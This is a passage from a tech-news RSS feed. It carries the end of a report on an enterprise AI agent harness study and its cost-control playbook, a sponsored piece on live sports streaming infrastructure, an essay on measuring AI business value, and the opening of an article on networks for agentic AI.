3.6, GLM 5.1, and Writer’s own model, Palmyra X6. </p><p>Their experiments compared a frozen, conventional production agent loop against the finished Writer Agent Harness on the same 22 locked enterprise tasks, spanning capabilities like grounding and retrieval, multi-step workflows, tool use, and content generation. By holding the models and tasks constant, they could isolate the effects of the orchestration layer itself.</p><p>The optimized harness drove a significant drop in costs, cutting the blended cost per task by 41%, from 21 cents to 12 cents. This was largely achieved by slashing token consumption, with the number of tokens per task falling 38%, from 14.2k to 8.8k.</p><p>The harness is designed to delegate tasks like search to specialized sub-agents. A sub-agent receives only the tool and the specific query it needs, retrieves the exact data, and returns a capped, clean summary to the main agent — keeping the primary context window from filling up with raw search results.</p><p>Task success rates held steady even as token use fell — moving from 78% to 81%, a gain the researchers describe as directional rather than statistically significant at their sample size, meaning quality didn't suffer even as costs dropped.</p><p>End-to-end task latency also dropped significantly, reducing the median wall-clock time by 44%, from 48 seconds to 27 seconds, due to prompt caching and the elimination of dead-end reasoning loops.</p><p>However, the researchers also found limits to multi-agent orchestration. Smaller models like Gemini Flash 3.5 and Qwen 3.6 scored well below a usable reliability threshold on sub-agent delegation tasks (0.45 and 0.42, respectively) — the capability simply isn't dependable yet on lighter-weight models.</p><p>Sub-agent orchestration only crossed a usable reliability threshold on the two strongest models tested: Writer's own Palmyra X6 (0.86) and Claude Sonnet 4.6 (0.85).</p><h2>The developer’s playbook: actionable takeaways and tradeoffs</h2><p>The findings from the study translate into a playbook for enterprise developers building agentic workflows at scale. The first step is to implement what AlShikh calls the "Two-Zone Prompt" and "Context Offloading."</p><p><b>Structure for system prompt caching (The Two-Zone Prompt):</b> Modern LLM APIs offer prompt caching, but developers must structure their payloads correctly to trigger it. Developers must separate the "stable zone" from the "volatile zone." Place static, unchanging elements (e.g., core rules, large tool schemas, and standard operating procedures) at the top of the prompt. Dynamic elements, such as the specific user query or recent conversational task state, must be appended at the bottom. This ordering allows the harness to reuse the cached prefix across hundreds of calls. "That single separation makes prompt caching actually work and stops you from re-paying for the same instructions on every one of an agent's thirty steps," AlShikh said.</p><p><b>Manage context with Context Offloading:</b> Avoid context stuffing, where every turn of a loop is appended into a monolithic prompt until the window maxes out. Instead, move history and intermediate artifacts out of the window into retrievable storage, and pull back only what the current step needs. If possible, delegate tasks to single-purpose sub-agents to avoid context bloat. As AlShikh points out, "the biggest line item in agent spend isn't reasoning — it's re-sending things the model has already seen."</p><p><b>Build resilient loops and redefine KPIs:</b> Unmanaged agent loops drain API budgets rapidly. Teams must begin tracking Completions Per Million tokens (CPM) to understand their true task costs, but the harness itself must contain physical guardrails. "The core principle is that you never ask the model to police its own spending," AlShikh said. "The fence has to live below the model, in code, on your side of the API." This requires three hard checks:</p><ul><li><p><b>Hard per-task token budgets:</b> The run terminates when the budget is spent, no exceptions.</p></li><li><p><b>Generation fencing:</b> Caps on steps, tool calls, and recursion depth to stop non-converging agents. </p></li><li><p><b>Failure-spend governance:</b> Cap what a run can spend after its first failed validation so a failing task doesn't become your most expensive task.</p></li></ul><p><b>Avoid unnecessary complexity:</b> Optimizing the orchestration layer comes with engineering overhead. If you're in the prototyping and exploration stage, that overhead isn't justified — iterate fast with a strong model and a light harness. Once you're scaling to millions of requests a day, the savings from harness optimization become substantial.</p><p>However, teams must be aware of "harness leverage." Adding structural scaffolding requires the model to hold and obey that context. If a model is too small, it will spend its limited capacity parsing the scaffolding instead of doing the task, causing accuracy to drop and tokens to rise. The rule for adding complex orchestration features is strictly mathematical: "If a feature adds more coordination tokens than it removes task tokens for that specific model, cut it," AlShikh said. "Nothing in the harness is free."</p><h2>The future of the enterprise harness</h2><p>The era of tokenmaxxing and treating context windows like bottomless buckets is coming to an end. Throwing more compute at poorly designed systems is not a viable strategy for companies that need to demonstrate a return on their AI investments. </p><p>As foundation models evolve to absorb planning, tool selection, and multi-step reasoning natively into their weights, the role of the harness will shift from compensating for model weakness to enforcing enterprise policy.</p><p>"What never moves into the model is the 'allowed': budgets, permissions, data boundaries, audit trails, deterministic kill-switches," AlShikh said. "Five years from now, the harness will be thinner but more important. There will be less scaffolding and more governance. However capable the model gets, someone external to it still has to define what it may spend, see, and touch. That layer belongs to the enterprise, and it should never be rented."</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The technology behind every live sports moment]]></title>
<description><![CDATA[When a goal goes in during a tournament quarter-final and a hundred million people watch it at the same time, what they feel is the goal. The roar, the replay, the disbelief.



They do not feel the contribution feeds traversing private media networks across continents, or the edge nodes absorbin...]]></description>
<link>https://tsecurity.de/de/3681409/it-nachrichten/the-technology-behind-every-live-sports-moment/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681409/it-nachrichten/the-technology-behind-every-live-sports-moment/</guid>
<pubDate>Mon, 20 Jul 2026 16:48:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">When a goal goes in during a tournament quarter-final and a hundred million people watch it at the same time, what they feel is the goal. The roar, the replay, the disbelief.</p>



<p class="wp-block-paragraph">They do not feel the contribution feeds traversing private media networks across continents, or the edge nodes absorbing a traffic spike that appeared without warning.</p>



<p class="wp-block-paragraph">They just feel the moment.</p>



<p class="wp-block-paragraph">And that’s exactly how it’s supposed to work.</p>



<p class="wp-block-paragraph">And as live sports viewership pushes into territory that makes previous records look modest (driven by a generation that expects to watch anything, on any device, anywhere, without waiting), the gap between getting that delivery right and getting it wrong has never been more consequential, or more public.</p>



<p class="wp-block-paragraph"><strong>As audiences moved to digital platforms, the margin for error disappeared.</strong><strong></strong></p>



<p class="wp-block-paragraph">There is a version of this conversation that is easy to have: audiences expect more, technology has to keep up. True, but incomplete.</p>



<p class="wp-block-paragraph">Audiences have always expected live sport to work. What changed is what “working” means, and how quickly they find out when it doesn’t.</p>



<p class="wp-block-paragraph">Viewers no longer sit in front of a single screen. During a FIFA World Cup match, a household might have the main feed on the living room television, while someone else streams the highlights on a second TV in the bedroom, all while phones flash with live stats and tablets run separate commentary. From the infrastructure’s perspective, that isn’t just one household watching a game; it’s a chaotic web of concurrent demands triggered by the exact same split-second on the pitch.</p>



<p class="wp-block-paragraph">Multiply that across tens of millions of viewers, and the scale of the challenge becomes clear. Social media raises the stakes further. When a platform fails during a World Cup knockout match, audiences report it in real-time on the same platforms they use to discuss the game. The complaint travels faster than the fix.</p>



<p class="wp-block-paragraph">Broadcasters no longer have the luxury of resolving an incident before people notice. The incident becomes the story, and in many cases, travels further than the match itself.</p>



<h3 class="wp-block-heading"><strong>What these viewership numbers actually mean for infrastructure</strong></h3>



<p class="wp-block-paragraph">The shift in how people watch live sport has moved well beyond trend territory.</p>



<p class="wp-block-paragraph">EMARKETER forecasts that digital live sports audiences in the US will grow to <a href="https://www.emarketer.com/content/100-million-watch-live-sports-digital">114.1 million viewers</a>, while traditional pay TV audiences decline to 82.0 million, highlighting the continued shift toward streaming.</p>



<p class="wp-block-paragraph">The concurrency numbers generated by major sporting events now sit in a territory that would have seemed implausible a decade ago.</p>



<p class="wp-block-paragraph">During the 2026 FIFA World Cup, for instance, streaming platforms shattered every historical ceiling, highlighted by Brazil’s <a href="https://streamscharts.com/news/fifa-world-cup-2026-group-stage-livestreaming">CazéTV</a> repeatedly breaking global YouTube records for concurrent viewership during the group stage. Meanwhile, in the United States, Peacock and <a href="https://www.nbcuniversal.com/article/fifa-world-cup-2026-propels-telemundo-and-peacock-record-viewership">Telemundo’s</a> digital platforms logged an unprecedented 13 million concurrent viewers for a single knockout window. </p>



<p class="wp-block-paragraph">When tens of millions of people tune into the same live stream at the same moment, it’s a challenge unlike regular web traffic.</p>



<p class="wp-block-paragraph">Historically, massive global audiences were insulated by geography. The load was spread across distinct regional networks: antenna signals, satellite downlinks, and physical cable architectures. The physical infrastructure of traditional television inherently absorbed the impact. </p>



<p class="wp-block-paragraph">Digital streaming removes that buffer. Traffic spikes all at once, often at the most critical moment. The tighter the match, the deeper the stoppage time, the sharper the spike. Network infrastructure is forced to handle its heaviest, most volatile traffic exactly when it has zero margin for error.</p>



<p class="wp-block-paragraph">Social media compounds the pressure operationally. The second a crucial goal is scored, a wave of real-time reactions floods the internet, instantly dragging a secondary “curiosity audience” into the app. These are people who weren’t even watching the match, but saw the hype and decided to tune in, meaning the network has to absorb a massive new rush of users precisely while the primary stream is already maxing out its capacity.</p>



<p class="wp-block-paragraph">To survive these surges while satisfying a modern audience, the underlying broadcast playbook has undergone a massive structural shift. It’s no longer just about handling traffic; it’s also about using modern technology like AI to manage it intelligently.</p>



<p class="wp-block-paragraph">According to an <a href="https://www.haivision.com/blog/all/2025-broadcast-transformation-report-key-takeaways/">industry survey</a>, 25% of broadcasters integrated AI into live production workflows in 2025, a massive leap from just 9% the previous year, with 64% identifying AI as the single largest impact driver over the next five years. </p>



<p class="wp-block-paragraph">The network is no longer just delivering content. AI is now generating highlights and short clips in real time, producing millions of videos that keep fans engaged long after the live moment has passed.</p>



<p class="wp-block-paragraph">Ultimately, the technical demand is driven by a shift in what viewers expect. An <a href="https://newsroom.ibm.com/2025-08-18-ibm-study-sports-fans-demand-more-dynamic-digital-content,-powered-by-ai">IBM sports study</a> revealed that 56% of fans now want AI-driven insights layered directly onto their content, while 33% point to real-time, automated translation as the feature that most impacts their experience.</p>



<p class="wp-block-paragraph">Whether it’s one screen or several, viewers don’t notice the edge infrastructure or AI powering the experience. They just expect the game to play without interruption.</p>



<h3 class="wp-block-heading"><strong>The planning mistake most organisations make</strong></h3>



<p class="wp-block-paragraph">Capacity planning is where most organisations spend their time when preparing to stream a major event. Can the system handle a million concurrent streams? Can it scale on demand if the numbers exceed projections? These are real questions. </p>



<p class="wp-block-paragraph">The lesson is not unique to sports streaming. Every digital business now experiences moments where demand, visibility, and customer expectations collide. Peak traffic events such as flash sales, ticket releases, and viral campaigns can drive website traffic <a href="https://aws.amazon.com/blogs/apn/how-to-manage-peak-traffic-on-aws-using-queue-its-virtual-waiting-room/">2 to 25 times above normal levels within seconds</a>. The infrastructure may be different, but the pressure is remarkably similar.<br></p>



<p class="wp-block-paragraph">Large-scale system failures occur when multiple components, each functioning as expected on its own, are overwhelmed by a surge in demand, rising latency, or regional blind spots at the same time.</p>



<p class="wp-block-paragraph">The problem isn’t the individual systems. It’s how they work together.</p>



<p class="wp-block-paragraph">Latency is the factor most consistently underestimated. A few seconds of delay is not a minor inconvenience in live sport. It is a fundamentally broken experience. </p>



<p class="wp-block-paragraph">A viewer whose stream is running four seconds behind will see a notification before the decisive moment appears on screen. Someone watching a service from the privacy of their room may hear a celebration from another room before seeing it on their screen.</p>



<p class="wp-block-paragraph">Geography is another planning gap. Streaming growth is increasingly being driven by emerging markets. In Southeast Asia alone, premium video streaming subscriptions grew <a href="https://avia.org/southeast-asia-premium-vod-accelerates-in-2025-as-subscriber-growth-rebounds-ctv-scales-and-local-content-breaks-through/?utm_source=chatgpt.com">19%</a> in 2025, led by Indonesia, while viewing hours continued to climb across the region. Yet much of the world’s media infrastructure was originally designed around North American and Western European demand. An architecture that looks robust on paper can deliver very different experiences depending on where the viewer is.</p>



<p class="wp-block-paragraph">The reason is simple: physical distance still matters. Every extra hop between the viewer and the content adds latency, making it harder to deliver a consistent experience at global scale.</p>



<p class="wp-block-paragraph">Then there is the timing question. The decisions that determine whether a platform holds during the most-watched minutes of the year are not made on event day. They are made months earlier through choices around architecture, redundancy, testing, and operational readiness.</p>



<p class="wp-block-paragraph">Once an event is underway, it’s too late to redesign the architecture behind it. If your system isn’t designed to handle the pressure before the crowd arrives, it’s already too late.</p>



<h3 class="wp-block-heading"><strong>The hidden chain behind every live event</strong></h3>



<p class="wp-block-paragraph">When a streaming disruption becomes public, people naturally look for a single point of failure: the app, the platform, or the provider.</p>



<p class="wp-block-paragraph">A live event depends on dozens of systems working together, and any one of them can become a problem.</p>



<p class="wp-block-paragraph">And the experience is only as good as the weakest handoff between them.</p>



<p class="wp-block-paragraph">It all starts with the live camera feed moving from the venue to the production studio. This is a real-time stream, not a file download. If you drop even a single packet at the wrong moment, everything down the line breaks, no matter how perfect the rest of your setup is.</p>



<p class="wp-block-paragraph">Remote and cloud-based production workflows have redefined how live sports are produced, enabling broadcasters to operate with greater agility and scale. As production becomes more distributed, success increasingly depends on ensuring every stage of the delivery chain works together seamlessly.</p>



<p class="wp-block-paragraph">Each transition is a potential failure point. Managing them requires visibility that extends across providers, platforms, and networks simultaneously.</p>



<p class="wp-block-paragraph">Behind every live stream, technologies like encoding, transcoding, packaging, rights management, and ad insertion are constantly at work. If any one of them fails, the stream can go down altogether.</p>



<p class="wp-block-paragraph">Global distribution introduces another layer of complexity. Viewers in Asia, Africa, and South America may all be watching the same match, but each stream travels across different networks and infrastructure. That means performance can vary by region, and issues may affect one audience without impacting another. </p>



<p class="wp-block-paragraph">AI is increasingly helping operators detect anomalies in real time, pinpoint affected regions and trigger corrective actions before disruptions become widespread. Combined with point-to-point monitoring, it provides the visibility needed to keep live events running smoothly at global scale.</p>



<p class="wp-block-paragraph">Edge delivery is where the difference between preparation and improvisation becomes most apparent. Bringing content closer to users reduces latency, absorbs local traffic surges, and improves performance in markets with variable connectivity. </p>



<p class="wp-block-paragraph">The value of technology investments such as AI and Edge becomes clearest during the moments when demand is highest.</p>



<p class="wp-block-paragraph">Monitoring is what turns visibility into action. With AI helping analyze telemetry and detect anomalies in real time, operations teams can identify issues sooner and respond before they affect viewers. By the time customers start reporting a problem, the opportunity to prevent it has already passed.</p>



<h3 class="wp-block-heading"><strong>What reliability is actually worth</strong></h3>



<p class="wp-block-paragraph">For most of early broadcast history, audience tolerance provided some buffer. Disruptions happened. People accepted them. There was nowhere else to go, and the story rarely escaped the room.</p>



<p class="wp-block-paragraph">Neither of those things is true now.</p>



<p class="wp-block-paragraph">A streaming failure during a major match becomes public within seconds. Viewers don’t distinguish between a network issue, a processing failure, or a distribution problem; they simply see a service that failed. That single experience can shape the broadcaster’s reputation, credibility and customer loyalty, influencing whether viewers come back for the next event or recommend the service to others.</p>



<p class="wp-block-paragraph">The commercial implications are significant. Global tournaments such as the FIFA World Cup illustrate just how valuable live sports rights have become. Their return depends on reliably reaching the audience that was promised.</p>



<p class="wp-block-paragraph">Advertisers invest in live sport for one reason: to reach a large, engaged audience at the exact moment it matters most. If the stream fails during that window, the opportunity is lost. Those viewers, impressions, and advertising value cannot be recovered once the moment has passed.</p>



<p class="wp-block-paragraph">The same principle increasingly applies outside media. Customers rarely know nor care whether an outage originated in the application, the cloud environment, the network or a third-party dependency. They experience a failure of the brand. In a digital-first economy, reliability has become part of the customer experience itself.</p>



<p class="wp-block-paragraph">For broadcasters and streamers, reliability is no longer just an operational KPI. It directly influences audience trust, advertising revenue, and the long-term value of premium sports rights.</p>



<h3 class="wp-block-heading"><strong>The demands ahead are bigger</strong></h3>



<p class="wp-block-paragraph">AI-assisted production is already changing how live events are created. Broadcasters are using AI to automate highlight generation, camera selection and real-time clip packaging for social media, with new AI-assisted workflows producing sports highlights up to <a href="https://www.statsperform.com/insights/opta-pulse-launch/">80% faster</a> than traditional methods. </p>



<p class="wp-block-paragraph">All of this processing happens within the live delivery chain, where every additional task must be completed without adding latency or compromising the viewing experience.</p>



<p class="wp-block-paragraph">Personalisation at scale is the next significant challenge. Not personalisation in a vague sense, but the specific technical reality of delivering multi-language commentary tracks, different languages, different statistical overlays, and different camera angles to different viewers watching the same event simultaneously. </p>



<p class="wp-block-paragraph">Instead of one stream per event, the infrastructure has to manage a matrix of concurrent variants, each with its own encoding, storage, and delivery requirements. </p>



<p class="wp-block-paragraph">Interactive experiences add bidirectional data flows: real-time polls, integrated second-screen data, live wagering. These move data from the viewer back through infrastructure that was primarily built to push content outward. Managing that at scale is a different engineering problem from managing delivery.</p>



<p class="wp-block-paragraph">Higher-resolution formats (4K now becoming a standard expectation in premium markets, 8K moving into early deployment) are bandwidth-intensive at exactly the scale where bandwidth is already under pressure. Consumer devices are ready. Infrastructure in many high-growth markets is not uniformly there yet.</p>



<p class="wp-block-paragraph">Many of these capabilities are already being deployed for major global sporting events. The organisations investing seriously in technology, innovation, and infrastructure now are building toward a standard that will be the baseline requirement within a few years. Those that are not will be closing the gap under the worst possible conditions.</p>



<h3 class="wp-block-heading"><strong>The technology you never think about</strong></h3>



<p class="wp-block-paragraph">The broadcasters that succeed don’t leave reliability to chance. They plan for it from the outset, designing their infrastructure to handle peak demand long before the audience arrives.</p>



<p class="wp-block-paragraph">This reality hits hardest during massive global events. When a stream glitches, millions of people feel it simultaneously in a matter of seconds. Keeping those streams alive doesn’t happen by accident; it takes massive scale, intense discipline, and deep experience controlling everything from the stadium camera to the viewer’s screen.</p>



<p class="wp-block-paragraph">The lesson extends well beyond live sports. Every enterprise is becoming a real-time digital business, whether it’s delivering AI-powered applications, launching digital products, processing financial transactions, or handling a sudden surge in customer demand. Different industries may face different triggers, but the expectation is the same: the experience has to work, even when demand is at its highest.</p>



<p class="wp-block-paragraph">Delivering that level of reliability is why many of the world’s largest sports brands rely on <a href="https://www.tatacommunications.com/media-entertainment">Tata Communications</a>. Supporting the broadcast, production, and management of 80% of the world’s sporting events, and reaching more than two billion viewers across 190+ countries, Tata Communications operates in the invisible layers that make every live moment possible. We call this the “Virtual Stadium of the World”, the technology and infrastructure that connects fans, broadcasters, rights-holders, and sporting moments at a truly global scale.</p>



<p class="wp-block-paragraph">By managing the critical handoffs across contribution networks, edge processing, and global media infrastructure, we engineer the resilience required to keep 120,000 live events running flawlessly every year.</p>



<p class="wp-block-paragraph">Live sport may be the most visible test of digital infrastructure, but it won’t be the last. As AI, personalisation and real-time experiences become the norm across industries, the ability to deliver reliably at scale will define far more than match day.</p>



<p class="wp-block-paragraph">To learn more, visit us <a href="https://www.tatacommunications.com/sports?utm_source=blog&amp;utm_medium=cio&amp;utm_campaign=mes%20fifa%20campaign">here</a>.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[With AI, activity is not value]]></title>
<description><![CDATA[The emergence of artificial intelligence is beginning to expose a profound weakness in the way modern enterprises measure performance.



For decades, business evaluation systems have been built around the logic of the industrial and transactional economy. Revenue growth, operating margins, earni...]]></description>
<link>https://tsecurity.de/de/3680938/it-security-nachrichten/with-ai-activity-is-not-value/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680938/it-security-nachrichten/with-ai-activity-is-not-value/</guid>
<pubDate>Mon, 20 Jul 2026 13:08:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The emergence of artificial intelligence is beginning to expose a profound weakness in the way modern enterprises measure performance.</p>



<p class="wp-block-paragraph"><a href="https://techeconomists.com/why-the-world-needs-new-economic-indicators/">For decades</a>, business evaluation systems have been built around the logic of the industrial and transactional economy. Revenue growth, operating margins, earnings per share, labor productivity, return on investment and market share became the dominant indicators of organizational success because they reflected the economic realities of a world in which value creation was primarily tied to physical production, labor efficiency, scale and later the automation of information processing. AI, however, is altering the very structure of enterprise value creation, and in doing so it is creating a widening separation between perceived future value and actual realized economic performance.</p>



<p class="wp-block-paragraph">Much of the current discussion <a href="https://howardarubin.substack.com/p/why-ai-roi-is-so-darn-hard-to-measure">surrounding AI performance measurement</a> reflects this tension. The overwhelming majority of AI-related metrics being celebrated today are not direct measures of realized enterprise outcomes. They are largely indicators of capability formation, market positioning, experimentation or investor signaling. Metrics such as AI spending levels, number of AI use cases, GPUs deployed, copilots implemented, models placed into production, AI hiring growth or agentic AI pilots all serve primarily as proxies for anticipated future advantage. These indicators may influence stock valuations, analyst sentiment and strategic narratives, but their relationship to measurable operational performance is often indirect, delayed or in some cases entirely speculative.</p>



<p class="wp-block-paragraph">This distinction is critically important because capital markets have historically rewarded the <em>expectation</em> of technological transformation long before actual economic results materialized. During previous technological revolutions—including electrification, enterprise resource planning, the internet, cloud computing and mobile platforms—valuation expansion frequently preceded measurable productivity gains by many years. The market priced future possibility before operational economics caught up. In many instances, investors rewarded firms simply for appearing strategically aligned with the dominant technological shift of the era. AI appears to be following a similar trajectory.</p>



<p class="wp-block-paragraph">The phenomenon resembles the famous <a href="https://www.brookings.edu/articles/the-solow-productivity-paradox-what-do-computers-do-to-productivity/">productivity paradox</a> articulated by economist Robert Solow, who observed that “you can see the computer age everywhere but in the productivity statistics.” AI today is visible everywhere: in investor presentations, earnings calls, technology conferences, product announcements and boardroom strategies. Yet in many industries, its measurable contribution to enterprise productivity, profitability or economic resilience remains difficult to isolate with precision. This does not necessarily mean AI lacks value. Rather, it reflects the reality that traditional accounting and performance systems were never designed to measure the forms of value AI increasingly produces.</p>



<p class="wp-block-paragraph">Artificial intelligence creates benefits that are often diffuse, cumulative and difficult to attribute directly to financial outcomes. AI may improve forecasting accuracy, reduce fraud, accelerate decision cycles, augment employee effectiveness, improve customer interactions, optimize logistics or enhance cybersecurity resilience. These benefits frequently manifest as second-order effects distributed across the enterprise rather than as immediately visible financial events. The causal chain between AI investment and realized business performance can therefore become extraordinarily difficult to quantify. A company may become operationally more intelligent without immediately becoming measurably more profitable.</p>



<p class="wp-block-paragraph">At the same time, AI introduces a profound danger: organizations may increasingly optimize for technological narrative rather than durable enterprise economics. Many firms today are pursuing AI primarily because markets reward the appearance of AI leadership. Investor enthusiasm, analyst pressure and competitive fear create incentives to demonstrate visible AI activity <a href="https://howardarubin.substack.com/p/talking-about-ai-value-is-like-talking">regardless of whether measurable economic value has actually been achieved</a>. In this environment, AI metrics can easily become instruments of valuation signaling rather than instruments of operational truth.</p>



<p class="wp-block-paragraph">This distinction between signaling and substance may become one of the defining economic challenges of the AI era. An organization may announce aggressive AI deployment programs, reduce headcount and report short-term margin improvements while simultaneously increasing hidden forms of technological fragility. Infrastructure costs may rise dramatically as GPU consumption, cloud usage, data engineering requirements and cybersecurity complexity expand. Technical debt may accelerate as AI-generated code proliferates without sufficient architectural discipline. Institutional knowledge may erode as organizations become excessively dependent on opaque models and automated systems. Long-term innovation capacity may weaken if enterprises divert disproportionate resources toward maintaining internally generated AI systems rather than building new strategic capabilities.</p>



<h2 class="wp-block-heading">What measuring AI value might actually look like</h2>



<p class="wp-block-paragraph">The distinction between AI activity and AI value becomes clearer when viewed through the kinds of measures organizations choose to track. Many enterprises today emphasize indicators such as the number of AI models deployed, copilots implemented, agents created, prompts executed, tokens consumed or employees using AI tools. These metrics demonstrate adoption and technological activity, but they reveal relatively little about whether AI is producing meaningful business outcomes.</p>



<p class="wp-block-paragraph">Measures of enterprise value look quite different. A manufacturer might evaluate whether AI improves demand forecasting accuracy enough to reduce inventory carrying costs or stockouts. A financial institution might measure whether AI meaningfully lowers fraud losses, accelerates loan processing or improves regulatory compliance. A healthcare provider could assess reductions in administrative burden, faster clinical decision support or improvements in patient throughput. In each case, the objective is not simply to measure AI deployment, but to determine whether AI creates measurable improvements in operational performance, economic outcomes or organizational resilience.</p>



<p class="wp-block-paragraph">Ultimately, organizations may need to ask a different question: not “How much AI are we using?” but “How much business value does each unit of AI investment create?” That shift—from measuring technological activity to measuring economic outcomes—may become one of the defining management disciplines of the AI era.</p>



<p class="wp-block-paragraph">Under traditional accounting frameworks, many of these deteriorations remain largely invisible. Quarterly earnings may improve even as underlying enterprise resilience declines. Stock prices may rise even as operational complexity becomes increasingly unsustainable. In this sense, the AI era threatens to widen the gap between financial appearance and organizational reality.</p>



<p class="wp-block-paragraph">This is why the future of enterprise measurement cannot simply involve adding AI metrics to existing financial scorecards. The challenge is far deeper. AI forces a reconsideration of what business performance actually means. Historically, enterprises were measured largely through static indicators of efficiency and output. Increasingly, however, competitive advantage may depend less on traditional efficiency and more on adaptive intelligence: the ability of an organization to learn faster, make better decisions, integrate human and machine capabilities effectively, manage technological complexity sustainably and convert computational power into durable economic outcomes.</p>



<p class="wp-block-paragraph">The most important future performance measures may therefore revolve around questions traditional accounting rarely addresses. How effectively does an enterprise convert technology investment into sustainable business capability? How economically efficient are its AI operations relative to the value they generate? How resilient is the organization to AI failure, cybersecurity disruption or infrastructure inflation? How successfully does it preserve and amplify human expertise rather than simply eliminate labor? How rapidly can it learn, adapt and operationalize new knowledge?</p>



<p class="wp-block-paragraph">These are not merely technology questions. They are questions of enterprise economics, organizational sustainability and long-term competitive viability.</p>



<p class="wp-block-paragraph">The companies that ultimately succeed in the AI era may not be those with the largest AI budgets, the greatest number of pilots or the most aggressive automation programs. They may instead be the firms that best understand the economics of technological capability itself: organizations capable of balancing innovation with resilience, automation with human augmentation and technological ambition with sustainable operational design.</p>



<p class="wp-block-paragraph">The coming decade is therefore likely to produce a widening divide between enterprises optimizing for AI-driven valuation narratives and enterprises optimizing for measurable, durable economic performance. In the short term, these may appear to be the same thing.</p>



<p class="wp-block-paragraph">Over time, however, the distinction will become increasingly visible. Some organizations will discover that AI has enhanced genuine enterprise capability. Others will discover that they merely optimized the appearance of transformation while silently accumulating new forms of economic and operational risk.</p>



<p class="wp-block-paragraph">Artificial intelligence is not simply changing business operations. It is exposing the inadequacy of many of the measures used to evaluate business success itself. The central challenge of the AI economy may ultimately become not whether organizations adopt AI, but whether they can distinguish between technological activity and actual economic value creation.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Building the network for agentic AI: The foundation for autonomous enterprise operations]]></title>
<description><![CDATA[Enterprise AI is entering a new phase. While the first wave of generative AI focused on human productivity and content creation, the next wave — agentic AI — will fundamentally change how organizations operate. Agentic AI systems are capable of reasoning, planning, making decisions and executing ...]]></description>
<link>https://tsecurity.de/de/3680792/it-nachrichten/building-the-network-for-agentic-ai-the-foundation-for-autonomous-enterprise-operations/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680792/it-nachrichten/building-the-network-for-agentic-ai-the-foundation-for-autonomous-enterprise-operations/</guid>
<pubDate>Mon, 20 Jul 2026 12:03:46 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Enterprise AI is entering a new phase. While the first wave of generative AI focused on human productivity and content creation, the next wave — agentic AI — will fundamentally change how organizations operate. Agentic AI systems are capable of reasoning, planning, making decisions and executing actions across applications, workflows and business processes with minimal human intervention.</p>



<p class="wp-block-paragraph">As organizations move toward agentic frameworks that can independently resolve customer issues, optimize supply chains, manage infrastructure, coordinate workflows and even operate IT environments, one reality becomes clear: The network becomes the nervous system of the autonomous enterprise.</p>



<p class="wp-block-paragraph">The infrastructure requirements of agentic AI differ dramatically from those of traditional applications. These systems are highly distributed, continuously exchanging information, interacting with APIs, accessing multiple data sources and making decisions in real time. The performance, security, visibility and adaptability of the network will directly determine the effectiveness of AI agents. Organizations that view AI readiness solely as a compute or data challenge risk overlooking one of the most critical enablers of future success — the network itself.</p>



<h2 class="wp-block-heading">From AI-ready networks to autonomous networks</h2>



<p class="wp-block-paragraph">The long-term destination is the <a href="https://www.ericsson.com/en/ai/autonomous-networks">autonomous network</a>: A network capable of self-monitoring, self-optimizing, self-healing and self-securing through the use of AI and automation. However, autonomous networking will not emerge overnight. The investments enterprises make today to support agentic AI are the same foundational building blocks required for tomorrow’s autonomous operations.</p>



<p class="wp-block-paragraph">In many ways, agentic AI serves as both the driver and beneficiary of network transformation. AI agents require networks that can dynamically adapt to changing demands, while autonomous networks will increasingly rely on AI agents to manage and optimize themselves. The result is a reinforcing cycle where AI and networking evolve together.</p>



<h2 class="wp-block-heading">The core characteristics of the network of the future</h2>



<p class="wp-block-paragraph">One of the most critical requirements for AI-ready networks is real-time observability and telemetry. Agentic AI thrives on context, and AI agents must continuously gather information from users, applications, devices, clouds, security systems and operational platforms. Future-ready networks must provide end-to-end visibility across campus, branch, cloud and data center environments. High-fidelity telemetry streams, real-time performance monitoring, application-aware analytics, AI-aware analytics and unified operational visibility are essential. Without comprehensive visibility, AI agents operate with incomplete information, limiting their effectiveness and increasing operational risk.</p>



<p class="wp-block-paragraph">Another cornerstone is intent-based automation. Traditional networks are configured manually, often requiring administrators to define thousands of individual settings. In contrast, autonomous networks operate according to business intent. Enterprises increasingly need to define desired outcomes — such as maintaining application performance, optimizing user experience or automatically isolating compromised devices — rather than micromanaging configurations. The network continuously adjusts itself to achieve those objectives, providing the foundation upon which AI agents can make decisions safely and consistently.</p>



<p class="wp-block-paragraph">Agentic AI also introduces entirely new traffic patterns that require AI-optimized connectivity. Large language models, retrieval systems, vector databases, cloud AI services, edge inference platforms and multi-agent orchestration frameworks create significant east-west and cloud-bound traffic. Future networks must provide low-latency connectivity, high-capacity fabrics, dynamic traffic engineering, edge-to-cloud optimization and policies that identify and prioritize AI workloads. The organizations that can move data efficiently will gain a competitive advantage in AI execution speed and responsiveness.</p>



